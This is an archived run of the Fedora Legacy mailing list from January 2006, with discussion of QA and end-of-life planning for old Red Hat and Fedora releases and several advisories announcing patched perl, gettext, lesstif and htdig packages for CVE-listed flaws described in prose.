From rostetter at mail.utexas.edu Tue Jan 3 17:19:35 2006 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Tue, 3 Jan 2006 11:19:35 -0600 Subject: Need discussion, Re: Latest contrib perl In-Reply-To: <1135707576.2880.1.camel@ender> References: <1135707576.2880.1.camel@ender> Message-ID: <1136308775.6260458f75952@mail.ph.utexas.edu> Quoting Jesse Keating : > My opinion on the matter is that if we already have some QA work done on > a bug (like we do in this case) we shouldn't interrupt the process to > add more fixes to the bug, unless other problems are found during the QA > process. If no QA has been done then it is easy to add the new fix to > the sources. > > This is only my opinion, I welcome others. I agree. I'm tired of doing QA and having it thrown out as more bug fixes are added, and then people complaining about the patches being so late to arrive... Once we have a "sufficient" amount of QA done, we should finish it and release it. New bugs that appear go into the next update of the package. Just my opionion though... -- Eric Rostetter The Department of Physics The University of Texas at Austin Go Longhorns! From jimpop at yahoo.com Tue Jan 3 18:25:35 2006 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 3 Jan 2006 10:25:35 -0800 (PST) Subject: Need discussion, Re: Latest contrib perl In-Reply-To: <1136308775.6260458f75952@mail.ph.utexas.edu> Message-ID: <20060103182535.63124.qmail@web30411.mail.mud.yahoo.com> I agree with Eric's and Jesse's premise that we test and release each identified fix rather than patching an in-process patch. It is easier to track (as we generally leverage work done by other distros), and it is easier to QA (as our tests only need to be done for a specific issue not various multiple issues. Ideally I would like to see our release cycle to be nothing more than an import/merge of the RHEL/FCx fix and then a simple QA rubber-stamping by a few members. -Jim P. ----- Original Message ---- From: Eric Rostetter To: fedora-legacy-list at redhat.com Sent: Tuesday, January 03, 2006 12:19:35 PM Subject: Re: Need discussion, Re: Latest contrib perl Quoting Jesse Keating : > My opinion on the matter is that if we already have some QA work done on > a bug (like we do in this case) we shouldn't interrupt the process to > add more fixes to the bug, unless other problems are found during the QA > process. If no QA has been done then it is easy to add the new fix to > the sources. > > This is only my opinion, I welcome others. I agree. I'm tired of doing QA and having it thrown out as more bug fixes are added, and then people complaining about the patches being so late to arrive... Once we have a "sufficient" amount of QA done, we should finish it and release it. New bugs that appear go into the next update of the package. Just my opionion though... -- Eric Rostetter The Department of Physics The University of Texas at Austin Go Longhorns! -- fedora-legacy-list mailing list fedora-legacy-list at redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list From Axel.Thimm at ATrpms.net Wed Jan 4 12:07:41 2006 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Wed, 4 Jan 2006 13:07:41 +0100 Subject: EOL planning Message-ID: <20060104120741.GA11481@neu.nirvana> Hi, according to original planning, the following EOL dates apply: RH7.3,RH9: as long as community wants FC1: until the release of FC4 FC2: until the release of FC5 is this still reflecting the current setup? Is there some kind of statistics on the master server about which distribution is still in use? I'm asking wrt ATrpms planning of EOLing these distributions, too. What I see at ATrpms is that many former RH7.3 and 9 users are turning to RHEL clones, while FC1 & FC2 users are upgrading to FC4. Thanks! -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From dreamer at chen-online.net Wed Jan 4 16:46:57 2006 From: dreamer at chen-online.net (Lawrence 'The Dreamer' Chen) Date: Wed, 4 Jan 2006 11:46:57 -0500 Subject: EOL planning In-Reply-To: <20060104120741.GA11481@neu.nirvana> Message-ID: Well, my previous employer probably wants RH7.3 to go on forever now. I had made all the important servers RH7.3 -- 2 NIS servers, NFS server and CVS server. The NIS servers were 7.2, but I upgraded them to 7.3 shortly after being informed that I would be laid off soon. Now they have nobody taking care of the machines, just automatic updates through yum. Hopefully, they'll last forever. The company does have real RHELs running on its development servers, but kind of goes with trying to develop and sell enterprise software for Linux. Though one of my key home servers is also RH7.3, and have no desire to upgrade it. My last day was December 23rd....what a gift that was.... Lawrence, unemployed software engineer.... > -----Original Message----- > Hi, > > according to original planning, the following EOL dates apply: > > RH7.3,RH9: as long as community wants > FC1: until the release of FC4 > FC2: until the release of FC5 > > is this still reflecting the current setup? Is there some kind of > statistics on the master server about which distribution is still in > use? > > I'm asking wrt ATrpms planning of EOLing these distributions, > too. What I see at ATrpms is that many former RH7.3 and 9 users are > turning to RHEL clones, while FC1 & FC2 users are upgrading to FC4. > > Thanks! > -- > Axel.Thimm at ATrpms.net > From pekkas at netcore.fi Wed Jan 4 17:01:38 2006 From: pekkas at netcore.fi (Pekka Savola) Date: Wed, 4 Jan 2006 19:01:38 +0200 (EET) Subject: EOL planning In-Reply-To: References: Message-ID: On Wed, 4 Jan 2006, Lawrence 'The Dreamer' Chen wrote: > Though one of my key home servers is also RH7.3, and have no desire to upgrade > it. > > My last day was December 23rd....what a gift that was.... > > Lawrence, unemployed software engineer.... Does that imply you know would have a lot of time to help in the Fedora Legacy project ? :) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dreamer at chen-online.net Wed Jan 4 17:27:47 2006 From: dreamer at chen-online.net (Lawrence 'The Dreamer' Chen) Date: Wed, 4 Jan 2006 12:27:47 -0500 Subject: EOL planning In-Reply-To: Message-ID: > -----Original Message----- > On Wed, 4 Jan 2006, Lawrence 'The Dreamer' Chen wrote: > > Though one of my key home servers is also RH7.3, and have no > desire to upgrade > > it. > > > > My last day was December 23rd....what a gift that was.... > > > > Lawrence, unemployed software engineer.... > > Does that imply you know would have a lot of time to help in the > Fedora Legacy project ? :) > > -- > Pekka Savola "You each name yourselves king, yet the Oddly, I have less free time than when I was working.....pretty much my days are get up, comb through the Internet looking for jobs while drinking lots of coffee....and poof the day is gone. :..( Lawrence From skvidal at linux.duke.edu Wed Jan 4 18:37:08 2006 From: skvidal at linux.duke.edu (seth vidal) Date: Wed, 04 Jan 2006 13:37:08 -0500 Subject: EOL planning In-Reply-To: References: Message-ID: <1136399828.16211.34.camel@cutter> On Wed, 2006-01-04 at 11:46 -0500, Lawrence 'The Dreamer' Chen wrote: > Well, my previous employer probably wants RH7.3 to go on forever now. > > I had made all the important servers RH7.3 -- 2 NIS servers, NFS server and CVS > server. The NIS servers were 7.2, but I upgraded them to 7.3 shortly after > being informed that I would be laid off soon. Now they have nobody taking care > of the machines, just automatic updates through yum. Hopefully, they'll last > forever. > > The company does have real RHELs running on its development servers, but kind > of goes with trying to develop and sell enterprise software for Linux. > > Though one of my key home servers is also RH7.3, and have no desire to upgrade > it. > > My last day was December 23rd....what a gift that was.... > > Lawrence, unemployed software engineer.... At the risk of being too caustic for this list: Would you be willing to tell us who your employer was so we can make sure to never do business with them? It seems like their attitude toward systems maintenance and employee interaction are a bit cavalier and they deserve whatever they get stuck with. I'm sorry you were laid off. Good luck in your job search. -sv From mike.mccarty at sbcglobal.net Wed Jan 4 19:11:03 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Wed, 04 Jan 2006 13:11:03 -0600 Subject: EOL planning In-Reply-To: <1136399828.16211.34.camel@cutter> References: <1136399828.16211.34.camel@cutter> Message-ID: <43BC1DC7.1050908@sbcglobal.net> seth vidal wrote: > On Wed, 2006-01-04 at 11:46 -0500, Lawrence 'The Dreamer' Chen wrote: > >>Well, my previous employer probably wants RH7.3 to go on forever now. >> >>I had made all the important servers RH7.3 -- 2 NIS servers, NFS server and CVS >>server. The NIS servers were 7.2, but I upgraded them to 7.3 shortly after >>being informed that I would be laid off soon. Now they have nobody taking care >>of the machines, just automatic updates through yum. Hopefully, they'll last >>forever. >> >>The company does have real RHELs running on its development servers, but kind >>of goes with trying to develop and sell enterprise software for Linux. >> >>Though one of my key home servers is also RH7.3, and have no desire to upgrade >>it. >> >>My last day was December 23rd....what a gift that was.... >> >>Lawrence, unemployed software engineer.... > > > At the risk of being too caustic for this list: > > Would you be willing to tell us who your employer was so we can make > sure to never do business with them? [snip] Are you trying to guarantee that others get laid off as well? I also sympathise, being a laid-off software engineer myself, but I don't think this is the solution. Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From pekkas at netcore.fi Mon Jan 9 12:36:13 2006 From: pekkas at netcore.fi (Pekka Savola) Date: Mon, 9 Jan 2006 14:36:13 +0200 (EET) Subject: issues list(s) Message-ID: Remember, there's always a need for folks to do some QA testing. See the wiki for instructions and how to get started: http://www.fedoraproject.org/wiki/Legacy/QATesting In particular, - hopefully someone from core can release the 5-6 pending updates and build some packages :) - squid needs "yeah it seems to work" testing, and xine a "yeah, the fix seems fine -eyeballs" - we need folks to propose updated packages (for all the supported distros) to fix problems, so that these packages can be QA'd. (personally I'm currently most concerned about missing kernel updates, the recent xpdf issues, and maybe the perl format string issue). http://www.netcore.fi/pekkas/buglist.html (all) http://www.netcore.fi/pekkas/buglist-rhl73.html http://www.netcore.fi/pekkas/buglist-rhl9.html http://www.netcore.fi/pekkas/buglist-core1.html http://www.netcore.fi/pekkas/buglist-fc2.html -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From marcdeslauriers at videotron.ca Tue Jan 10 01:29:47 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:29:47 -0500 Subject: Fedora Legacy Test Update Notification: perl Message-ID: <43C30E0B.2030609@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2005-152845 Bugzilla https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152845 2006-01-09 --------------------------------------------------------------------- Name : perl Versions : rh7.3: perl-5.6.1-38.0.7.3.3.legacy Versions : rh9: perl-5.8.0-90.0.12.legacy Versions : fc1: perl-5.8.3-17.4.legacy Versions : fc2: perl-5.8.3-19.3.legacy Summary : The Perl programming language. Description : Perl is a high-level programming language commonly used for system administration utilities and Web programming. --------------------------------------------------------------------- Update Information: Updated perl packages that fix several security flaws are now available. Perl is a high-level programming language commonly used for system administration utilities and Web programming. An unsafe file permission bug was discovered in the rmtree() function in the File::Path module. The rmtree() function removes files and directories in an insecure manner, which could allow a local user to read or delete arbitrary files. The Common Vulnerabilities and Exposures project has assigned the name CVE-2004-0452 to this issue. Solar Designer discovered several temporary file bugs in various Perl modules. A local attacker could overwrite or create files as the user running a Perl script that uses a vulnerable module. The Common Vulner- abilities and Exposures project has assigned the name CVE-2004-0976 to this issue. Kevin Finisterre discovered a stack based buffer overflow flaw in sperl, the Perl setuid wrapper. A local user could create a sperl executable script with a carefully created path name, overflowing the buffer and leading to root privilege escalation. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2005-0156 to this issue. Kevin Finisterre discovered a flaw in sperl which can cause debugging information to be logged to arbitrary files. By setting an environment variable, a local user could cause sperl to create, as root, files with arbitrary filenames, or append the debugging information to existing files. The Common Vulnerabilities and Exposures project has assigned the name CVE-2005-0155 to this issue. Paul Szabo discovered a bug in the way Perl's File::Path::rmtree module removed directory trees. If a local user has write permissions to a subdirectory within the tree being removed by File::Path::rmtree, it is possible for them to create setuid binary files. The Common Vulner- abilities and Exposures project has assigned the name CVE-2005-0448 to this issue. (This issue updates CVE-2004-0452). Note that CAN-2005-0077 is referred to in the changelogs below. This vulnerability does not affect these packages, but is a vulnerability in perl-DBI packages instead. Users of perl are advised to upgrade to these packages which contain backported patches and are not vulnerable to these issues. --------------------------------------------------------------------- Changelogs rh7.3: * Tue Dec 20 2005 David Eisenstein 1:5.6.1-38.0.7.3.3.legacy - Add BuildRequires: byacc per John Dalbec. Bug #152835. * Sat Dec 17 2005 David Eisenstein 1:5.6.1-38.0.7.3.2.legacy - Add BuildRequires: db2-devel - Since this is being build in mach, we cannot use the "trick" that Red Hat used (of running rpm -q in the build process) to generate the list of files from which *.ph files are pulled. So instead, I've created two static files which list the same thing, Source11 and Source12. These two files may need to be refreshed when rebuilding again. * Fri Dec 16 2005 David Eisenstein 1:5.6.1-38.0.7.3.1.legacy - fix perldb5.pl (debugger) to use "$ENV{HOME}/.perldbtty$$" instead of "/var/run/perldbtty$$", per Bug #152845 comment 33. Replaces perl-5.6.1-solartmp.patch with an updated patch. * Thu Jul 14 2005 John Dalbec 1:5.6.1-38.0.7.3.legacy - integrate fix for CAN-2005-0448 * Thu Dec 9 2004 John Dalbec 1:5.6.1-37.0.7.3.legacy - integrate new tmpfile patch from OWL/solar designer - add BuildRequires: db1-devel db3-devel BuildRequires: glibc-devel gdbm-devel gpm-devel libjpeg-devel BuildRequires: libpng-devel libtiff-devel ncurses-devel popt BuildRequires: zlib-devel binutils libelf e2fsprogs-devel pam pwdb BuildRequires: rpm-devel rh9: * Thu Dec 29 2005 David Eisenstein 2:5.8.0-90.0.12.legacy - Add BuildRequires: libacl-devel, libcap-devel. This provides missing .ph header files sys/acl.ph and sys/capability.ph. * Fri Dec 23 2005 David Eisenstein 2:5.8.0-90.0.11.legacy - Add BuildRequires: byacc elfutils-devel - Since this is being build in mach, we cannot use the "trick" that Red Hat used (of running rpm -q in the build process) to generate the list of files from which *.ph files are pulled. So instead, there are two static files which list the same thing, Source13 and Source14. These two files may need to be refreshed when rebuilding again. * Sat Oct 22 2005 David Eisenstein 2:5.8.0-90.0.10.legacy - Update perl-5.8.0-tempfile-5.8.3-backport.patch to correct some errors. - Bugzilla #152845 * Thu Jul 14 2005 John Dalbec 2:5.8.0-90.0.9.legacy - integrate fixes for CAN-2004-0452 CAN-2005-0077 CAN-2005-0155 CAN-2005-0156 CAN-2005-0448 and a CGI.pm DoS. * Thu Dec 9 2004 John Dalbec 2:5.8.0-89.0.9.legacy - integrate tmpfile patch from OWL/solar designer - add BuildRequires: glibc-devel gdbm-devel gpm-devel libjpeg-devel BuildRequires: libpng-devel libtiff-devel ncurses-devel popt BuildRequires: zlib-devel binutils e2fsprogs-devel pam BuildRequires: rpm-devel groff fc1: * Tue Dec 27 2005 David Eisenstein 3:5.8.3-17.4.legacy - Added BuildRequires: byacc, groff * Sun Sep 19 2005 David Eisenstein 3:5.8.3-17.3.legacy - Remove patch1005: perl-5.8.3-cgi.pm.patch introduces a bug and is unnecessary. See bug # 152845 comment 9. * Tue Sep 13 2005 David Eisenstein 3:5.8.3-17.2.legacy - Re-do version number for FC1 release so as not to conflict with FC2. - Put whitespace back to make an easier compare with 5.8.3-16 - Remove patch for CAN-2005-0077 since it patches perl-DBI package, not this one. * Thu Jul 14 2005 John Dalbec 3:5.8.3-18.1.legacy - integrate fixes for CAN-2004-0452 CAN-2005-0077 CAN-2005-0155 CAN-2005-0156 CAN-2005-0448 and a CGI.pm DoS. * Thu Dec 9 2004 John Dalbec 3:5.8.3-17.1.legacy - integrate tmpfile patch from OWL/solar designer fc2: * Wed Dec 28 2005 David Eisenstein 3:5.8.3-19.3.legacy - Added BuildRequires: byacc, groff * Wed Nov 23 2005 John Dalbec 3:5.8.3-19.2.legacy - integrate tmpfile patch from OWL/solar designer - integrate fixes for CAN-2004-0452 CAN-2005-0155 CAN-2005-0156 and CAN-2005-0448. --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) rh73: ac3b7161e09878545dc1e499ad4d1c1de5cf8a42 redhat/7.3/updates-testing/i386/perl-5.6.1-38.0.7.3.3.legacy.i386.rpm d5d8c6c4b2b77fc14b0720dcad3c799f3dfdf759 redhat/7.3/updates-testing/i386/perl-CGI-2.752-38.0.7.3.3.legacy.i386.rpm c0a405c744e2b047fefd9e189da08f84433538d4 redhat/7.3/updates-testing/i386/perl-CPAN-1.59_54-38.0.7.3.3.legacy.i386.rpm 9380974623d1c7e9283823cc6a300c1486cb1052 redhat/7.3/updates-testing/i386/perl-DB_File-1.75-38.0.7.3.3.legacy.i386.rpm 0b1c087c7aa5d97118e84e471fe154599104260f redhat/7.3/updates-testing/i386/perl-NDBM_File-1.75-38.0.7.3.3.legacy.i386.rpm 28c36210be8c7207264fc2b55cdcedf7d1e4bb80 redhat/7.3/updates-testing/i386/perl-suidperl-5.6.1-38.0.7.3.3.legacy.i386.rpm 41fe2199272ab4d601634650be781753d391d750 redhat/7.3/updates-testing/SRPMS/perl-5.6.1-38.0.7.3.3.legacy.src.rpm rh9: d889ae85e1585e93aa76cd67edab80a2c1f0e076 redhat/9/updates-testing/i386/perl-5.8.0-90.0.12.legacy.i386.rpm 0615bbecd89001917ef70e0a60f20d5c5c50a732 redhat/9/updates-testing/i386/perl-CGI-2.81-90.0.12.legacy.i386.rpm 9b06404d6d324b322fc5f959d78d678e3dc823e9 redhat/9/updates-testing/i386/perl-CPAN-1.61-90.0.12.legacy.i386.rpm 05234d09cec06556e3208efe95363bf3b07100d1 redhat/9/updates-testing/i386/perl-DB_File-1.804-90.0.12.legacy.i386.rpm bfa538993bf4554703fd25dcb44e06a8aeb75484 redhat/9/updates-testing/i386/perl-suidperl-5.8.0-90.0.12.legacy.i386.rpm d73eb66c03bf06bea9fb861c33de5bc0484e2b9f redhat/9/updates-testing/SRPMS/perl-5.8.0-90.0.12.legacy.src.rpm fc1: 3211332bad74a6965dac37a726d46dba88adc226 fedora/1/updates-testing/i386/perl-5.8.3-17.4.legacy.i386.rpm 156099d6f6f56bd1c8a0db137e2ee3c66104771e fedora/1/updates-testing/i386/perl-suidperl-5.8.3-17.4.legacy.i386.rpm 3f5ffa320347a2cc9e98219a57a637da5e2b08f8 fedora/1/updates-testing/SRPMS/perl-5.8.3-17.4.legacy.src.rpm fc2: 6c43d3e838f4edb74a120134455990725b589b89 fedora/2/updates-testing/i386/perl-5.8.3-19.3.legacy.i386.rpm 561aa026e227438489430b8c245439fada4cc23f fedora/2/updates-testing/i386/perl-suidperl-5.8.3-19.3.legacy.i386.rpm 56cd349370c7c83e9c25b8207dd114b5169898a9 fedora/2/updates-testing/SRPMS/perl-5.8.3-19.3.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 10 01:30:53 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:30:53 -0500 Subject: [FLSA-2006:136323] Updated gettext package fixes security issues Message-ID: <43C30E4D.1070201@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated gettext package fixes security issues Advisory ID: FLSA:136323 Issue date: 2006-01-09 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2004-0966 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: An updated gettext package that fixes security bugs is now available. The GNU gettext package provides a set of tools and documentation for producing multi-lingual messages in programs. 2. Relevant releases/architectures: Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: Temporary file vulnerabilities were discovered in the gettext package. A malicious user could use the "autopoint" and "gettextize" scripts to create or overwrite another user's files. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2004-0966 to this issue. All users of gettext should upgrade to this updated package, which includes a patch to correct these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136323 6. RPMs required: Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/gettext-0.11.4-7.2.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/gettext-0.11.4-7.2.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/gettext-0.12.1-1.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/gettext-0.12.1-1.2.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/gettext-0.14.1-2.1.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/gettext-0.14.1-2.1.2.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 7b6dee52052cf366ae9d78f42d2266045992e8b2 redhat/9/updates/i386/gettext-0.11.4-7.2.legacy.i386.rpm ccb4260c2f1d4778bf1190bd6d96950c361b8131 redhat/9/updates/SRPMS/gettext-0.11.4-7.2.legacy.src.rpm 7b29432779dcbbb183b98fb5c60208366346ea93 fedora/1/updates/i386/gettext-0.12.1-1.2.legacy.i386.rpm 22bc34eef7d35bad85cf013381187660a4a68c8d fedora/1/updates/SRPMS/gettext-0.12.1-1.2.legacy.src.rpm 7851e6bb612ae72e3fae9870ca160d2a96e7123b fedora/2/updates/i386/gettext-0.14.1-2.1.2.legacy.i386.rpm 6c972dcef9866f7e53ba6855478078f8f24684d0 fedora/2/updates/SRPMS/gettext-0.14.1-2.1.2.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0966 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 10 01:31:35 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:31:35 -0500 Subject: [FLSA-2006:152803] Updated lesstif packages fix security issues Message-ID: <43C30E77.5040704@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated lesstif packages fix security issues Advisory ID: FLSA:152803 Issue date: 2006-01-09 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2004-0687 CVE-2004-0688 CVE-2004-0914 CVE-2005-0605 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated lesstif packages that fix flaws in the Xpm image library are now available. lesstif is a free replacement for OSF/Motif(R), which provides a full set of widgets for application development. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: During a source code audit, Chris Evans and others discovered several stack overflow flaws and an integer overflow flaw in the libXpm library used to decode XPM (X PixMap) images. A vulnerable version of this library was found within LessTif. An attacker could create a carefully crafted XPM file which would cause an application to crash or potentially execute arbitrary code if opened by a victim. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the names CVE-2004-0687, CVE-2004-0688, and CVE-2004-0914 to these issues. An integer overflow flaw was found in libXpm; a vulnerable version of this library is found within LessTif. An attacker could create a malicious XPM file that would execute arbitrary code if opened by a victim using an application linked to LessTif. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2005-0605 to this issue. Users of lesstif are advised to upgrade to these errata packages, which contain backported security patches correcting these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152803 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135081 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/lesstif-0.93.18-2.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/lesstif-0.93.18-2.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/lesstif-devel-0.93.18-2.3.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/lesstif-0.93.36-3.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/lesstif-0.93.36-3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/lesstif-devel-0.93.36-3.3.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/lesstif-0.93.36-4.3.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/lesstif-0.93.36-4.3.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/lesstif-devel-0.93.36-4.3.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/lesstif-0.93.36-5.3.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/lesstif-0.93.36-5.3.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/lesstif-devel-0.93.36-5.3.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 83e9647ade78338b07abdb618f5d88b0ed12b46b redhat/7.3/updates/i386/lesstif-0.93.18-2.3.legacy.i386.rpm c9dcedad7c1576504e12340753b391181d613714 redhat/7.3/updates/i386/lesstif-devel-0.93.18-2.3.legacy.i386.rpm 649a15edc64e3847238eb252be93db1583baa1cc redhat/7.3/updates/SRPMS/lesstif-0.93.18-2.3.legacy.src.rpm a4a8e6e888234cb0751800c181430db4c7b524e6 redhat/9/updates/i386/lesstif-0.93.36-3.3.legacy.i386.rpm 0804ad3304bf12be7f1ab71a463e980f4ea17975 redhat/9/updates/i386/lesstif-devel-0.93.36-3.3.legacy.i386.rpm 51459c1f41f08654e13b4f22bb76082ed04bbbde redhat/9/updates/SRPMS/lesstif-0.93.36-3.3.legacy.src.rpm 9d8c60a5d5fd55081cd0e7f4ac9c349393c851c8 fedora/1/updates/i386/lesstif-0.93.36-4.3.legacy.i386.rpm 7453bc2247080a99da8cb3aba8adb768191fa30f fedora/1/updates/i386/lesstif-devel-0.93.36-4.3.legacy.i386.rpm 0131e9cd6d912798c1ad0b45a0195fc9b3e6cfe3 fedora/1/updates/SRPMS/lesstif-0.93.36-4.3.legacy.src.rpm 00c8b8ed1cc28659d23e3a786ee12b0bfa1eb10d fedora/2/updates/i386/lesstif-0.93.36-5.3.legacy.i386.rpm 051563d1c29930fc45f3184ff9abbcf92daf1b74 fedora/2/updates/i386/lesstif-devel-0.93.36-5.3.legacy.i386.rpm 2bb39e060197d2bed2f9e7448b9a6e68c72555f5 fedora/2/updates/SRPMS/lesstif-0.93.36-5.3.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0687 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0688 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0914 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0605 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 10 01:32:11 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:32:11 -0500 Subject: [FLSA-2006:152907] Updated htdig packages fix security issues Message-ID: <43C30E9B.3070004@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated htdig packages fix security issues Advisory ID: FLSA:152907 Issue date: 2006-01-09 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2005-0085 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated htdig packages that fix a security bug are now available. The ht://Dig system is a Web search and indexing system for a small domain or intranet. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: A cross-site scripting bug has been found in htdig. This issue could allow an attacker to send a carefully crafted message, which could result in causing the victim's machine to execute a malicious script. The Common Vulnerabilities and Exposures project has assigned the name CVE-2005-0085 to this issue. All users of htdig should upgrade to these updated packages, which include a backported patch to correct this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use 